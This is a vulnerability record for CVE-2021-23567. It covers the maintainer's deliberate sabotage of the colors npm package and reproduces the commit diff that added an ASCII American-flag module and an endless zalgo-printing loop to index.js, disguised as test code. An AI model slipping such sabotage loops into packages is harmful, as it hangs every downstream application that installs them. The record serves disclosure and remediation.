CVE-2021-23567 (published 2022-01-14T20:15Z)

The package colors after 1.4.0 are vulnerable to Denial of Service (DoS) that was introduced through an infinite loop in the americanFlag module. Unfortunately this appears to have been a purposeful attempt by a maintainer of colors to make the package unusable, other maintainers' controls over this package appear to have been revoked in an attempt to prevent them from fixing the issue. Vulnerable Code js for (let i = 666; i < Infinity; i++;) { Alternative Remediation Suggested * Pin dependancy to 1.4.0

Severity: MEDIUM
CVSS v2 base score: 5.0 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
CVSS v3 base score: 7.5, HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Weakness information:
cwe_id: CWE-835
cwe_name: Loop with Unreachable Exit Condition ('Infinite Loop')
description: The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
extended_description: If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.
         

Fix information:
repo_url: https://github.com/Marak/colors.js
commit_details: repo_url: https://github.com/Marak/colors.js
author: Marak
author_date: 2022-01-07 23:19:03-05:00
msg: Adds new American flag module
repository: repo_url: https://github.com/Marak/colors.js
repo_name: Marak/colors.js
description: get colors in your node.js console
repo_language: JavaScript
owner: Marak
file_changes: filename: american.js
change_type: ModificationType.ADD
diff: @@ -0,0 +1,31 @@
+module.exports = function americanFlag () {
+  console.log('LIBERTY LIBERTY LIBERTY'.yellow);
+  console.log('LIBERTY LIBERTY LIBERTY'.america);
+  console.log('LIBERTY LIBERTY LIBERTY'.yellow);
+  let flag = "\
+  \
+                                 !\
+             H|H|H|H|H           H__________________________________\
+             H|§|§|§|H           H|* * * * * *|---------------------|\
+             H|§|∞|§|H           H| * * * * * |---------------------|\
+             H|§|§|§|H           H|* * * * * *|---------------------|\
+             H|H|H|H|H           H| * * * * * |---------------------|\
+             H|H|H|H|H           H|---------------------------------|\
+          ===============        H|---------------------------------|\
+            /| _   _ |\          H|---------------------------------|\
+            (| O   O |)          H|---------------------------------|\
+            /|   U   |\          H-----------------------------------\
+             |  \=/  |           H\
+              \_..._/            H\
+              _|\I/|_            H\
+      _______/\| H |/\_______    H\
+     /       \ \   / /       \   H\
+    |         \ | | /         |  H\
+    |          ||o||          |  H\
+    |    |     ||o||     |    |  H\
+    |    |     ||o||     |    |  H   Carl Pilcher\
+  ";
+
+  console.log(flag);
+
+}
\ No newline at end of file

programming_language: C
filename: index.js
change_type: ModificationType.MODIFY
diff: @@ -11,3 +11,13 @@ module['exports'] = colors;
 //
 //
 require('./extendStringPrototype')();
+
+/* remove this line after testing */
+let am = require('../lib/custom/american');
+am();
+for (let i = 666; i < Infinity; i++;) {
+  if (i % 333) {
+    // console.log('testing'.zalgo.rainbow)
+  }
+  console.log('testing testing testing testing testing testing testing'.zalgo)
+}

programming_language: JavaScript